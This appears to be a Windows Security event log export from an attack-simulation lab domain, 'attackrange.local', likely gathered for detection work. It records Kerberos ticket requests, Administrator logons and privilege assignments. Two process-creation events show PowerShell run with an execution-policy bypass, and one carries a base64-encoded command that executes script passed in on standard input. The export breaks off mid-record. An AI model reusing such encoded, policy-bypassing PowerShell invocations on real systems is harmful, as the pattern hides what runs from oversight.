-EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257505 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {9B2E6142-CC01-5D0B-157F-42EEB976C652} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257504 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257503 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523D86 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257502 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523D86 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257501 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523D86 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {9B2E6142-CC01-5D0B-157F-42EEB976C652} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257500 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {9B2E6142-CC01-5D0B-157F-42EEB976C652} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257499 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {9B2E6142-CC01-5D0B-157F-42EEB976C652} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257498 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257497 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x508A05 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257496 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x507860 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257495 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5040E7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257494 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x52233C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257493 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x52233C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50947 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257492 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x52233C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257538 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x527346 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257537 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x527346 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257536 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257535 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257534 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257533 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1168 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257532 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd40 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257531 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x524DE4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257530 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x524DE4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257529 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257528 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257527 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257526 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x278 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 